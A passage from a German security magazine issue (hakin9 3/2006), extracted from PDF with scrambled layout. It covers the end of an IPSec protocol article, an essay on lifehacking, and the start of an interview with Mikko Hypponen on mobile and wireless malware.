Im Transportbetrieb werden nur Daten geschützt, die aus externen Schichten zur IPSec-Schicht stammen (thick data). Dieser Betrieb wird nur für Übertragungen zwischen zwei Hosts verwendet. Im Tunnelbetrieb wird auch der IPHeader geschützt (durch eine einfache Authentifizierung – Prüfung der AH-Integrität oder durch Verschlüsselung, wenn ESP eingesetzt wird) und durch einen neuen Header ersetzt. Der neue Header bedient die Übertragung im Tunnel selbst, und an dessen Ende wird der ursprüngliche Header wiederhergestellt, so dass das Paket an das eigentliche Ziel gelangen kann.



Das Protokoll bietet allerdings keine Vertraulichkeit, da die nicht verschlüsselten Daten von Dritten ausgelesen werden können. In Abbildung 2 sind folgende Felder zu sehen: • •





Die Subprotokolle AH und ESP

Jetzt sehen wir uns die mehrmals genannten Subprotokolle AH und ESP an.

Das Subprotokoll AH

AH bietet die folgenden Dienste: •





Authentifizierung. Es ist feststellbar, ob der angegebene Absender auch wirklich der Echte ist; Integrität. Sie wird, wie schon gesagt, durch die Berechnung des MAC (eines ICV-Parameters, der, wie wir im Folgenden sehen, ins Authentification Data Feld eingetragen wird) gewährleistet. Integrität ist eng an Unleugbarkeit gebunden, und den MAC nach der Verschlüsselung der Daten berechnet, so dass der Empfänger die Authentizität des Pakets überprüfen kann, bevor er (umsonst, wenn die Daten modifiziert wurden) sich an das leistungsintensive Entschlüsseln macht; Optionalen Schutz vor der Wiederherstellung der Daten. Manin-the-Middle-Angriffe können dank der Nummerierung von Paketen verhindert werden. Dazu dient das Sequence Number Feld.

Unleugbarkeit. Nach den dafür eingesetzten Algorithmen (beispielsweise RSA).





Next Header (32 Bits) – ID des nächsten Headers; Payload Length – AH-Größe, ausgedrückt als ein Mehrfaches von 32 Bits minus zwei. Reserved (16 Bits) – Dieses Feld ist für künftige Nutzung reserviert. Es muss den Wert 0 enthalten, sonst wird das Paket verworfen; SPI (32 Bits) – Bereits besprochen. Das Feld wird durch das Zielsystem ausgelesen, weil dort die Information notwendig ist, wie ein empfangenes Paket zu betrachten is; Sequence Number (32 Bits) – Dasselbe Feld wie bei ESP. Immer vorhanden. Authentication Data (Mehrfaches von 32 Bytes) – Das Feld enthält die ICV-Variable und wird durch

ein gleichnamiges ESP-Feld referenziert (siehe oben). Das Feld kann fehlen, wenn die Option dafür in der entsprechenden SA nicht gesetzt wurde. Für Authentifizierung und Integritätskontrolle werden grundsätzlich folgende Algorithmen verwendet: HMAC-RIPEMD-160, HMAC-MD5, HMAC-SHA-1, HMAC-DES, Keyed MD5.

Das Subprotokoll ESP (Encryption Security Payload)

Diese Transformation bietet neben den von AH unterstützten Merkmalen auch: •



Vertraulichkeit dank der Verschlüsselung von Daten. Dabei ist es möglich, einen Algorithmus mit Nullchiffrierung wählen, der Daten überhaupt nicht verschlüsselt (eine äußerst unsichere Option); Eindeutigkeitsschutz. Diese Option kann nur im Tunnelbetrieb und in einem anderen Betrieb als der aggressive in der ersten ISAKMPPhase verwendet werden.

Die Funktionen Integrität und Unleugbarkeit gehen Hand in Hand, so

Tabelle 4. Eine Zusammenfassung der Funktionen des Transport- und Tunnelbetriebs Transportbetrieb

Tunnelbetrieb

AH

Authentifiziert das IPPayload und einige Felder des IP-Headers sowie die Header der Ipv6-Erweiterung.

Authentifiziert das gesamte IP-Paket (den Header und einige IP-Daten) sowie einige Felder des externen IP-Headers und die Header der externen Ipv6-Erweiterungen.

ESP (nur Verschlüsselung)

Verschlüsselt das IP-Payload und den gesamten Header der Ipv6-Erweiterung nach dem ESPHeader.

Verschlüsselt das gesamte IP-Paket.

ESP (Verschlüsselung und Authentifizierung)

Verschlüsselt das IP-Payload und den gesamten Header der Ipv6-Erweiterung nach dem ESPHeader. Authentifiziert das IP-Payload, nicht aber den IP-Header.

Verschlüsselt das gesamte IP-Paket. Authentifiziert das IPPaket.

www.hakin9.org

hakin9 Nr. 3/2006

69

Theorie

dass sie manchmal unter dem Begriff Authentifizierung zusammengefasst werden. Diese letztere Funktionalität wird dank dem ICV-Feld (Integrity Check Value) gewährleistet, wie wir es noch sehen werden. Die Verhinderung der Datenwiederherstellung kann nur bei aktivierter Unleugbarkeit gewählt werden. IPSecPakete enthalten alle erforderlichen Informationen im Sequence Number Feld, die die Unmöglichkeit, Daten wiederherzustellen, bestätigen lassen, allerdings kann sie nur geprüft werden, wenn sich der Empfänger dazu entscheidet. Bei ESP sollte mindestens eine der optionalen Funktionen Authentifizierung und Vertraulichkeit gewählt werden. Im Endeffekt können wir, auch wenn ESP die Wahl eines Verschlüsselungsalgorithmus erzwingt, den Nullalgorithmus wählen, was die Vertraulichkeit (obwohl eingestellt) eliminiert. In Abbildung 3 sind folgende Felder zu sehen: •



70

SPI (32 Bits). Bereits besprochen. Das Feld wird durch das Zielsystem ausgelesen, weil dort die Information notwendig ist, wie ein empfangenes Paket zu betrachten ist; Sequence Number (32 Bits). Jedes Paket wird mit diesem Feld nummeriert. Das Feld führt den Wert 0, wenn eine neue SA beginnt, und das erste im Netz geschickte Paket trägt die Nummer 1. Der Wert wird bei jedem neuen Paket um 1 inkrementiert, bis hin zu 232. Wenn diese Grenze erreicht wird, sind zwei weitere Operationen möglich: Entweder ist der Schutz vor Datenwiederherstellung beim Empfänger aktiviert und eine neue SA wird erzeugt, und zwar noch vor dem Erreichen der Maximal-Sequenznummer 232 (und es wird erneut von 0 auf gezählt), oder die Option ist inaktiv und das Nummerieren der Pakete beginnt erneut von 1 im Rahmen derselben SA. Typischerweise wird diese Einstellung vom Absender gewählt,

hakin9 Nr. 3/2006

Abbildung 8. Flussverwaltung in IPSec vom Standpunkt des OSI-Modells der Empfänger braucht das aber weder zu prüfen noch anzuwenden. In der Praxis kann der Empfänger dem Absender in der SA-Parameterphase Bescheid geben, ob er die Verhinderung der Datenwiederherstellung aktiviert, und ihm somit Arbeit ersparen. Andererseits kann die Option nur aktiviert werden, wenn auch





Unleugbarkeit aktiv ist. Das Feld als solches ist immer vorhanden; Payload Data (0-255 Bits). In diesem Feld ist der IV-Parameter (Initialization Vector) zu finden, wenn der gewählte Algorithmus (z.B. DES) ihn erfordert. Das Feld ist immer vorhanden; Padding (0-255 Bits). Padding wird erforderlich, wenn der

Entschlüsselung des eingehenden Verkehrs

Wenn die IPSec-Schicht das Paket aus dem Netzwerk empfängt, überprüft sie in den Headern, ob es abgesichert wurde oder nicht. Ist es dies der Fall, so bestimmt sie die Merkmale der SA und fragt die SAD nach seinen Einstellungen ab, um das Paket zu entschlüsseln bzw. zu authentifizieren. Nachdem das Paket dechiffriert worden ist, fragt IPSec die SPD ab, um festzustellen, ob die betreffende SA die Sicherheitsregeln einhält. Bei einem eingehenden Paket haben wir es also mit folgenden Schritten zu tun: • • • • • • •

Wiederherstellung. Dies wird in den meisten Fällen getan, und zwar wegen der Fragmentierung unterwegs; Auslesen der SAD; Prüfung der Sequenznummer; Prüfung des ICV-Felds; Auslesen der SPD; Entschlüsselung; Ggf. Dekomprimierung. Die Dekomprimierung muss nach den anderen Schritten (und nicht davor, wie bei ausgehenden Paketen), also der Entschlüsselung, Authentifizierung usw. statt finden.

www.hakin9.org

IPSec







Verschlüsselungsalgorithmus Blockchiffrierung erzwingt, wie etwa DES. Dann ist es oft der Fall, dass die Länge der zu verschlüsselnden Daten kein genaues Mehrfache der Blocklänge ist, also werden sie auf solch eine Länge aufgefüllt. Dieses Feld ist sehr oft vorhanden! Pad Length. In diesem Feld wird die Länge des vorigen geführt, so dass wir auslesen können, wie viele Bits unbekannt (zu ergänzen) sind. Das Feld ist immer vorhanden; Next Header (8 Bits). Das Feld gibt den Typ der Informationen im Payload Data-Feld an: IPv4/ IPv6, ICMP, IP, IGRP. Es ist immer vorhanden; Authentication Data (variable Länge). Das Feld enthält die ICV-Variable, die für den ganzen Frame bis auf dieses Feld (Authentication Data) berechnet wird und die Integrität der übertragenen Daten gewährleisten lässt. Das Feld kann fehlen, wenn die Option dafür in der entsprechenden SA nicht gesetzt wurde.

Für die Verschlüsselung stehen beispielsweise folgende Algorithmen zur Wahl: DES CBC, Triple DES, RC 5, IDEA & IDEA Triple, Blowfish, CAST, NULL. Der letzte ist kein Scherz, manchmal kann die Möglichkeit, keine Verschlüsselung zu wählen, nützlich sein, sie ist allerdings sehr risikoträchtig. Offenbar werden nur symmetrische Algorithmen angeboten, was durch die viel höheren Zeit- und Leistungsansprüche der asymmetrischen Entschlüsselung zu erklären ist. Für Authentifizierung und Integrität können folgende Algorithmen eingesetzt werden: HMAC-RIPEMD160, HMAC-MD5, HMAC-SHA-1, HMAC-DES, Keyed MD5, NULL (mit demselben Vorbehalt wie vorher). Wenn Authentifizierung und Verschlüsselung aktiviert werden, erfolgt die letztere zuerst. So ist es nämlich einfacher, eine Modifizierung der Daten festzustellen (man braucht nur den ICV auszulesen); sonst müssten

Abbildung 9. Verwaltung des ausgehenden Verkehrs mit IPSec

Abbildung 10. Verwaltung des eingehenden Verkehrs mit IPSec

Abbildung 11. Kontinuität im Transportbetrieb Daten zuerst dechiffriert werden, um auf eventuelle Änderungen hin überprüft werden zu können. Außerdem reduzieren dieser Ansatz das Risiko eines DOS-Angriffs (die Akzeptanz erfolgt schneller als in dem anderen Fall, was wir bereits gesehen haben),

www.hakin9.org

und ermöglicht eine parallele Verarbeitung der empfangenen Pakete (während das Paket u zur Entschlüsselung überreicht wird, nachdem er als korrekt anerkannt worden ist, gelangt das Paket u+1 in die Prüfungsphase durch das Auslesen seiner ICV).

hakin9 Nr. 3/2006

71

Theorie

Grundsätzlich wird bei Tunnels zwischen zwei Hosts HMAC bevorzugt. Bei Verbindungen von Parallelrechnern (beispielsweise für zentrale VPN-Server, die als Switches für mehrere VPNs fungieren) sind wiederum Hashfunktionen typischer, die auf asymmetrischen Algorithmen basieren. Tabelle 3 fasst die von AH und ESP angebotenen Dienste zusammen. Achtung: Wenn sowohl ESP, als auch AH für dasselbe Paket angewendet werden müssen, wird die ESP-Transformation vor AH durchgeführt.

Vier IPSecMöglichkeiten

Abbildungen 4, 5, 6 und 7 präsentieren vier mögliche Anwendungsformen der Subprotokolle AH und ESP. Bei ESP im Transportbetrieb (Abbildung 5) sind zwei wichtige Header der ESP Header mit der SPI und der Sequenznummer sowie der ESPAuthentifizierungsheader mit den Authentifizierungsdaten. Bei ESP im Tunnelbetrieb befindet sich unter New IP Header der temporäre IP-Header mit der IP-Adresse des Routers oder eines anderen Geräts, an den der Frame unterwegs geschickt wird. Das

Tabelle 5. IKE-Bezeichnungen SA

SA-Vorschläge: Der Initiator schlägt mehrere Algorithmen vor, und der Empfänger schickt die gewählte Kombination zurück

CKY_X

Initiator- (CRY_I) und Empfängercookies (CRY_R) im ISAKMP-Header.

HASH

Das Payload des Hashingergebnisses: HASH_I gibt an, das Ergebnis wird vom Initiator, und HASH_R – vom Empfänger verschickt. Authentifiziert das IP-Payload, nicht aber den IP-Header.

gxi, gxr

Öffentliche Diffie-Hellman-Werte, jeweils für den Initiator und den Empfänger.

gxy

Geheimschlüssel, der sich aus dem Diffie-Hellman-Austausch ergibt.

No_I, No_R

Zufallsbasierte Variablen, die jeweils von dem Initiator und dem Empfänger erzeugt worden sind.

ID_I, ID_R

IDs, die jeweils bei der Authentifizierung des Initiators und des Empfängers verwendet werden.

X*

Gibt an, dass das Feld X verschlüsselt ist.

nächste Feld ist derESP-Header mit der mit der entsprechenden SA assoziierten SPI und der Sequenznummer. Rechts davon befindet sich der ESP-Authentifizierungsheader mit den Authentifizierungsdaten. Tabelle 4 fasst die Funktionen des Transport- und Tunnelbetriebs zusammen. Achtung: Bei ESP ist es möglich (allerdings nicht empfohlen) Verschlüsselung ohne Authentifizierung zu verwenden.

Abbildung 12. Mehrfache Tunnels

72

hakin9 Nr. 3/2006

www.hakin9.org

Fortgeschrittene IPSecKonfiguration

Das IPSec-Verhalten in Phase 1 kann beim Einstellen der PFS-Option und der SA-Lebensdauer bestimmt werden (indem sie beispielsweise für eine schnellere Einstellung beschränkt werden): •

Strict. Dieser Betrieb akzeptiert nur Optionen, die dieselben wie bzw. restriktiver als die Vorein-

IPSec







stellung sind (PFS höher, SA-Lebensdauer kürzer); Claim. Dieser Betrieb akzeptiert nur Optionen, die dieselben wie bzw. weniger restriktiv als die Voreinstellung sind (PFS niedriger, SA-Lebensdauer länger); Exact. Dieser Betrieb akzeptiert nur dieselben Optionen wie die Voreinstellung (dasselbe PFS, dieselbe SA-Lebensdauer); Obey. Dieser Betrieb akzeptiert beliebige Optionen (PFS-Pegel, SA-Lebensdauer).

Verschlüsselung ausgehender Pakete

Wenn ein zu verschickendes Paket an die IPSec-Schicht übergeben wird, fragt sie die SPD ab, um festzustellen, was sie damit tun soll. Zur Wahl stehen drei Optionen: • •



Vernichtung. Das Paket wird völlig vernichtet; Übertragung ohne Absicherung. Das Paket wird übertragen, ohne dass die Sicherheitspolitik angewendet wird; Abgesicherte Übertragung. Der Kern wendet die Regeln der Sicherheitspolitik an.

In allen Fällen wird die Behandlung der Pakete durch SPD verwaltet. Sie liest die Nummer der entsprechenden SA aus und sucht nach seinen Einstellungen in SAD. Wenn die SA bereits besteht, werden die Übertragungsmechanismen gestartet, sonst ruft IPSec IKE auf, um eine neue SA mit den vorgegebenen Parametern zu erzeugen. Die einzelnen Schritte bei einem ausgehenden Paket sind also wie folgt: Zuerst wird die SPD ausgelesen. Je nach den Quell- und Zieladressen und den Quell- und Zielports gibt sie die jeweils entsprechenden Regeln aus: Das Paket wird vernichtet, ohne oder mit IPSec übertragen. Im letzteren Fall wird auch das Subprotokoll (AH/ESP) und der Betrieb (Tunnel/ Transport) sowie die passende SA angegeben. Wenn es keine passende SA gibt, wendet sich das System an IKE, um es anzulegen.

Abbildung 13. Phase 1: 6 Austauschzyklen im Hauptbetrieb

Abbildung 14. Phase 2: 3 Austauschzyklen im Schnellbetrieb Die nächste Phase ist das Auslesen der SAD anhand der SPD-Angabe einer SA. Im entsprechenden Eintrag werden Übertragungsoptionen gesucht (Verschlüsselungsalgorithmen, Authentifizierungalgorithmen, SA-Lebensdauer). Danach kommt gegebenenfalls die Komprimierung. Sie muss (mit dem IPComp-Protokoll) vor der restlichen IP-Verarbeitung (Authentifizierung, Verschlüsselung, Fragmentierung) erfolgen.

www.hakin9.org

Der nächste Schritt ist die Verschlüsselung. Anhand der Informationen aus der SAD kann der (je nach dem Betrieb und dem Subprotokoll) erforderliche Abfrageteil chiffriert werden. Die Verschlüsselung besteht aus drei Etappen: AH/ESPKapselung, Auffüllung (wenn nötig) und die Chiffrierung selbst. Auch die Sequenznummer muss festgelegt werden. Wir fügen die Sequenznummer zur laufenden Abfrage (suchen in derselben SA die

hakin9 Nr. 3/2006

73

Theorie

Sequenznummer des vorigen Pakets und erhöhen sie um 1) im AH/ESPHeader hinzu. So ermöglichen wir eine erneute Verbindung und die Überprüfung durch den Empfänger, ob das Paket nicht unterwegs abgefangen wurde (wenn er die entsprechende Option aktiviert hat). Der nächste Schritt ist das Festlegen des ICV-Felds. Es lässt den Empfänger die Authentizität des Pakets bestätigen und prüfen, ob es nicht unterwegs modifiziert wurde (Integritätsprüfung). Die letzte Phase ist die Fragmentierung. Die SAD enthält auch die PMTU-Angabe (wie vorher beschrieben), also wissen wir im Voraus, ob das Paket vor dem Abschicken fragmentiert w erden muss.

Der Fall mehrerer konkurrierenden SAs (SA bundles)

Fall 1. Kontinuität im Transportbetrieb (transport adjency). Dieser Betrieb lässt uns zugleich AH und ESP anwenden, allerdings nicht auf die Art und Weise, die in Abbildung 11 dargestellt ist (daher ist er auch so selten). Fall 2. Tunneliterierung. Dieser Betrieb ermöglicht das Betreten von sich kreuzenden Tunnels zwischen zwei Endpunkten, wie in Abbildung 12 dargestellt. Wenn beispielsweise FreeS/WAN auf dem Host 192.168.0.230 installiert ist, sieht die Iterierung folgend aus: [root@c0rt0W1nch] # ipsec spigrp inet 10.0.0.2 0x3c1691a1 esp inet 10.0.0.25 0x432d3446

Beispielkonfiguration eines klassischen IPSec-Tunnels Wir müssen uns also die Konfigurationsphasen eines klassischen IPSecTunnels ansehen.

Phase 1: 6 Austauschzyklen im Hauptbetrieb

Phase 1: 6 Austauschzyklen im Hauptbetrieb realisiert 3 Ziele:

74

hakin9 Nr. 3/2006

Im Internet • •



• •

http://www.kb.cert.org/vuls/id/886601 – CERT Coordination Center (CERT/CC), Vulnerability Note VU#886610, Carnegie Mellon Software Engineering Institute; http://www.cisco.com/warp/public/707/cisco-sn-20030422-ike.html – Cisco Systems, Cisco Response to Internet Key Enchange Issue, 2003.

Einstellung der Sicherheitsparameter. Zwei Endpunkte müssen Parameter ausmachen, mit denen die nächsten zwei Schritte der Phase 1 und die ganze Phase 2 verschlüsselt werden. Diese Parameter sind Chiffrierschlüssel, Authentifizierungsalgorithmen und -Methoden (gemeinsame Schlüssel, Zertifikate usw.); Festlegen des gemeinsamen Schlüssels; Authentifizierung der Teilnehmer.

Während der Phase 1 haben wir es mit zwei möglichen Oakley-Betrieben zu tun. Hauptbetrieb. Dieser Betrieb schützt die Gleichheit der beiden Seiten und zwar mittels 6 Nachrichten. Die zweiErsten machen die Sicherheitspolitik aus, die nächsten Zwei tauschen den gemeinsamen Diffie-Hellman-Schlüssel und ggf. jeden Anderen, der als zusätzlicher Schlüssel für diesen Schritt vorgegeben ist, aus, und das letzte Paar ermöglicht die Authentifizierung. Aggressiver Betrieb. In diesem Betrieb wird die Gleichheit der Partner nicht geschützt und der Austausch erfolgt mit 3 Nachrichten (also schneller). Die zwei ersten lassen, mehr als im Hauptbetrieb, die Sicherheitspolitik festlegen, aber auch den Diffie-Hellman-Austausch mit allen anderen dazu erforderlichen Daten sowie den Austausch der identischen Elemente beider Seiten durchzuführen. Nachricht Zwei lässt zusätzlich den Server (den Host, an dem sich der Initiator

Über den Autor

wendet) authentifizieren. Die dritte authentifiziert den Initiator.

Phase 2: 3 Austauschzyklen im Schnellbetrieb

In dieser Phase werden alle Übertragungen mit den in Phase 1 ausgetauschten Schlüsseln abgesichert. Phase 2 lässt uns auf die SA-Einstellungen von IPSec zugreifen: •



die Parameter (das Subprotokoll ESP oder AH, den Authentifizierungsalgorithmus (SHA1 bzw. MD5) und den Verschlüsselungsalgorithmus (bei ESP)); die Schlüssel zur Absicherung von IP-Paketen.

In dieser Phase stehen uns zwei Optionen beim Erzeugen von IPSecSchlüsseln zur Verfügung: •



Basic. In diesem Betrieb erscheinen die in Phase 1 erzeugten Schlüssel; Perfect Forward Secrecy. In diesem Betrieb können in einem neuen Diffie-Hellman-Austausch neue IP-Schlüssel erzeugt werden.

Zusammenfassung

IPSec bleibt VPN-Tool dank seinen Vorteilen, die wir hier kennen lernen konnten: der Flexibilität, dem modularen Aufbau und der völligen Transparenz der Sicherheit vom Standpunkt der Anwendung. Dennoch ist IPSec sehr kompliziert, was bei NAT-Lösungen Probleme bereitet. Auch fällt es allerlei Störungen zum Opfer, was seine Interoperabilität behindert. l

Seit über 4 Jahren ist er professionell im Sicherheitsbereich tätig. Zuerst hat er bei Banken gearbeitet und hat später zu einem Hersteller von VPN-Lösungen und Firewalls gewechselt. Zurzeit lebt der Autor in Gabon, wo er als IT-Systemarchitekt für einen Mobilfunk-Betreiber arbeitet.

www.hakin9.org

Hacking nicht nur im Netz Umgebung Michał Piotr Pręgowski

Schwierigkeitsgrad

Viele Informatiker können bis heute den Medien nicht verzeihen, dass der Begriff Hacker allgemein falsch verstanden wird. Wichtiger ist aber, dass der gute Geist von Eric S. Raymond oder Richard Stallman noch nicht verschwunden ist. Im Netz materialisiert er sich jetzt in Form eines neuen Phänomens – als Lifehacking. Ein Phänomen, das sogar von amerikanischen Linguisten beachtet wird.

S

ie haben ein elektronisches Flugticket gekauft und möchten nun in die Business-Klasse, obwohl Sie sich keine Boardkarte ausgedruckt haben? Sie wissen nicht, welcher Monat für den Einkauf von Haushaltgeräten, Häusern oder Spielzeugen der beste ist? Wollen Sie den Zinsanteil ihres Kredits verringern? Oder auf eine einfache Weise die Funktionalität eines iPods verbessern, ohne das Risiko eines Garantieverlustes einzugehen? Das Lifehacking kennt die Antworten nicht nur auf diese Fragen, sondern auch auf Tausende andere. Das Internet gibt uns die Möglichkeit, Lösungen, das wir entdeckt haben, mit anderen zu teilen – wer nur für sich arbeitet, der hat weniger Spaß und wird schnell einsam. Informatikliebhaber und Hacker wissen das. Es ist also kein Zufall, dass das Lifehacking eben hier erschaffen wurde. Die Arbeit an der Verbesserung von Betriebssystemen und Software, das Finden und Reparieren von Fehlern und Lücken führt zu einfachen Lösungen – und genau darum geht es beim Lifehacking: das Leben einfacher zu gestalten. Hey, und Spaß zu haben.

76

hakin9 Nr. 3/2006

Alles hat mit einem iPod angefangen

Eine Suche nach dem Autor des obigen Satzes bringt nichts. Genauso wie vieles andere im Internet ist das Lifehacking einfach irgendwie erschienen. Für die Initialzündung war das Vorhandensein eines elektronischen Produkts notwendig, das sowohl von normalen Leuten als auch von Computer-Freaks angenommen werden musste. Ein solches Produkt wurde von Steve Jobs konzipiert. Die Konsumenten haben sich in seine iPods verliebt, selbst wenn sie ab und zu kleinere oder größere Probleme mit den Dingern haben. Wie kann man es machen, dass ein Abspielgerät in Windows 98 erkannt wird? Wie kann man einen iPod mit Video-Dateien auffüllen, ohne iTunes zu benutzen? Welche Zusätze verbessern die Funktionsweise meines iPods? Wo außer bei iTunes finde ich interessante podcasts? Weiße Geräte mit einem schönen ApfelLogo haben sehr viele Fragen ausgelöst. Viele davon wurden schneller von Internetbenutzern als von der Apple-Hotline beantwortet; eben auf den Internetforen der iPod-Benutzer wurde der Begriff Lifehacking populär. Die meisten

www.hakin9.org

Was ist Lifehacking – und warum es wichtig ist.

Teilnehmer der Diskussionen, die Ratschläge gegeben haben, waren gut ausgebildete Personen, die das Internet oft benutzen. Viele davon sind Blogger. Das waren gute Voraussetzungen. Dank Blogs wurden die Informationen verbreitet, und es entstanden auch zahlreiche Websites, die Howto-Ratschläge angeboten haben, die eigentlich mit mp3-Abspielgeräten nichts mehr zu tun hatten. Im Laufe der Zeit wurde Lifehacking populär – zumindest in Amerika. Im Dezember haben die Redakteure von Oxford University Press neue Wörter in der englischen Sprache erwähnt, die – ihrer Meinung nach – die im Alltag verwendete Sprache am meisten beeinflusst haben.

Don't live to geek

Eine der besten Webseiten über Lifehacking, Lifehacker.com, bietet täglich neue Informationen, deren Vielfalt sehr groß ist. Man kann dort erfahren, wie man ausgebrannte Pixels auf einem LCD-Bildschirm los werden kann, oder wie man einen kaputten Tisch repariert. Die Webseite bietet nicht nur reine Informationen, sondern auch Präsentationen in einer Video-Form. Eine Filmpräsentation der Linux-Installation auf einem iPod ist für einen durchschnittlichen Benutzer bequemer als die beste Textbeschreibung.Trotz allem Anschein hat Lifehacker.com noch

nicht Ratschläge für Alles, aber die ab und zu auftretenden lustigen Infos (siehe Tisch) ändern das allgemein positive Bild der Webseite nicht. Die interessantesten Ratschläge sind die Informationen über die alltägliche Benutzung von Software und Rechnern. Für die Gruppe der Anfänger udn Einsteiger bietet die Webseite zum Beispiel Tipp-Pakete, wie Pegtop PStart (http://www.pegtop.net/ start) oder Portable Apps (http: //portableapps.com/suite), und für Fortgeschrittene gibt es Hinweise zur Führung eines Heimservers oder Bedienung von MySQL, PHP oder JSP. Man muss betonen, dass das Lifehacking für Informatikspezialisten nützlich sein kann, aber die eigentliche Zielgruppe sind doch eher die normalen User.Die Webseite wird durch zahlreiche traditionelle Medien empfohlen, wie Wall Street Journal, Guardian oder Time. Das Ziel von Lifehacker.com ist eindeutig: Computers make us more productive. Yeah, right. Lifehacker recommends the downloads, web sites and shortcuts that actually save time. Don't live to geek; geek to live.

Offensichtliche Sachen braucht man auch Eine andere Webseite über Lifehacking, Lifehack.org, konzentriert sich vor allem auf die nicht virtuelle Seite des Lebens. Es gibt hier äußerst

Über den Autor

Michał Piotr Pręgowski hat Journalismus und politische Wissenschaften an der Universität Warschau studiert. Aktuell arbeitet er an seiner Doktorarbeit im Institut der Sozialwissenschaften. Unter seinen Interessen befinden sich: der soziale Einfluss der internetbasierten Medien, die Selbstpräsentation in einer Computer-gesteuerten Kommunikation, Ludology. Er führt ein Blog über diese Sachen, das unter der Adresse www.error300.org zu finden ist.

Im Internet • • • •

http://www.ipodhacks.com – verbessern Sie ihren iPod, http://www.lifehack.org – gute Ideen für den Alltag, Lifehacking für mehr Produktivität, http://www.lifehacker.com – eine Webseite für die bessere Bedienung von Computer- und Webapplikationen, http://www.geekstogo.com/forum/forums.html – ein Forum für Lifehacker, die sich für das Netz und Informatik interessieren.

www.hakin9.org

interessante Informationen, die nirgendwo anders zu finden sind – z.B. eine ausführliche Beschreibung, wie man die Einsteigen-Prozedur in der touristischen Klasse der SouthwestFluggesellschaft vermeidet. Eine lange Schlange ist nichts angenehmes, warum sollen wir es also nicht schnell und angenehm erledigen, in dem wir – völlig legal – in die Business-Klasse einsteigen? Unter den fünfzig wichtigsten Tricks des Jahres 2005 laut Lifehack.org kann man u.a. Ratschläge zum glücklichen Leben, effektiven Schlaf oder... effizienten Aufräumen finden. Ratschläge, die ziemlich trivial aussehen. Das ist die schlechtere Seite von Lifehacking – je verbreiteter es wird, umso mehr Ratschläge tauchen auf, die für die breite Masse eher uninteressant sind. Letzten Endes braucht man sich aber nicht zu ärgern, schließlich ist niemand von uns ein Experte in allen Sachen.

Kann man das Hacking entzaubern?

Eric S. Raymond und andere erklären geduldig seit Jahren den unerfahrenen Journalisten, dass ein Hacker nicht dasselbe wie ein Cracker ist. Das Problem ist, dass das populäre Wort, das in der Umgangssprache einmal falsch verstanden wurde, seine ursprüngliche Bedeutung nur durch Ausbildung der Presse nicht wiedererlangen wird. Es sei denn, dass das Hacking mit Hilfe von Lifehacking entzaubert wird. Man kann anmerken, dass sich Hacking und Lifehacking höchstens im allgemeinen Überblick ähnlich sind und dass sich Hacking mit viel ernsthafteren Sachen beschäftigt. Offenbar beruht Livehacking auf ähnlichen Ideen. Daraus sollte sich die Hoffnung ergeben, dass sich das Lifehacking auch in Europa etablieren wird. Letzendlich ist es angenehm, zu denken, dass man die allgemeine Meinung über Hacking nicht nur mit schwerer Arbeit verbessern kann, sondern auch durch Vorbereiten von Sushi auf eine von hundert- achtundzwanzig gerade kennengelernten Arten. l

hakin9 Nr. 3/2006

77

Eine neue Virengeneration: ist niemand mehr sicher? Interview

Interview mit Mikko Hypponen

Mikko Hypponen – ein Mensch, der einen Teil seines Lebens dem Schutz von tausenden Computern vor digitalen Schädlingen gewidmet hat. Im letzten Jahr hat er als erster die ganze Welt vor dem Angriff des Sasser-Virus gewarnt. Das von ihm geführte Team hat auch die Folgen der Slapper-Angriffe im Jahre 2002 eingedämmt. Außerdem hat das Team das weltweite Netz deaktiviert, welches vom Sobig.F-Wurm im Jahre 2003 verwendet wurde.

h9 : Den Großteil Deines Auftrittes auf der F-Secure-Konferenz hast Du der Sache der Viren, Würmer und Trojaner für Mobilgeräte gewidmet. Du hast dabei über die aktuelle Situation gesprochen. Wir möchten allerdings wissen, wie sieht Deiner Meinung nach die Zukunft des schadhaften Codes in WLAN- und BluetoothNetzwerken aus? MH: Potentielle Gefahren für drahtlose Netze sind das zentrale und auch schwerwiegendste Thema, dem sich unsere Teammitglieder widmen. Bisher haben wir wirkliche Gefahren noch nicht angetroffen, doch man muss wachsam sein. Stellen wir uns einen Angriff vor, der sich selbständig über tausende von Funkverbindungen ausbreitet. Es ist dabei unwichtig, ob es sich dabei um Bluetooth oder WLAN handelt. Solche Viren und Trojaner verbreiten sich in einem einzigen Augenblick - von einem Laptop auf einen anderen, von dort aus auf einen Palmtop, von dem Palmtop auf das Handy eines Bankdirektors, und von dort aus in das interne Banknetz. h9 : Katastrophal. Und was passiert danach? MH: Somit bekommt der Virus einen leichten Zugriff auf einen durch keine Firewalls und Filter geschützten Bereich. Es sei zu bemerken, daß all dies sehr leicht und ohne die Notwendigkeit,

78

hakin9 Nr. 3/2006

irgendwelche Schutzmaßnahmen zu umgehen, geschieht. Genauso, wie es Würmer vom Typ Zotob machen. Seine Verbreitungsmethoden in strategisch wichtige Bereiche, sehen beispielsweise folgendermaßen aus: ein Mitarbeiter hat seinen Laptop zu Hause unbewusst infiziert und ihn dann mit an die Arbeit genommen, wo er ihn an das Firmennetz angeschlossen hat. Dies war ausgereichend, damit Zotob ins interne Netz der Firma gelangen konnte. h9: Wird der Infektionsprozess erleichtert, wenn WLAN- und Bluetooth-Viren erscheinen? MH: Wesentlich leichter! Es reicht, mit einem infizierten Laptop zu reisen. Von einem Moment zum anderen ist der Virus nicht nur im eigenen Netz, sondern auch im Netz des Nachbarn, der nebenan wohnt. Des Weiteren wird man auch das Handy des Pizza-Zulieferers infizieren, der gerade das Büro betritt. Damit ein solcher Angriff erfolgreich sein kann, müssen jedoch erst diverse Remote-Exploits vorhanden sein, die auf den Stacks von Bluetooth und WLAN Geräten anwendbar sind. h9: Gab es bereits erste Anzeichen einer solchen Gefahr? MH: Leider ja, zum Beispiel fanden sich Löcher in Sicherheitsmechanismen des Bluetooth-Stacks

www.hakin9.org

Interview mit Mikko Hypponen

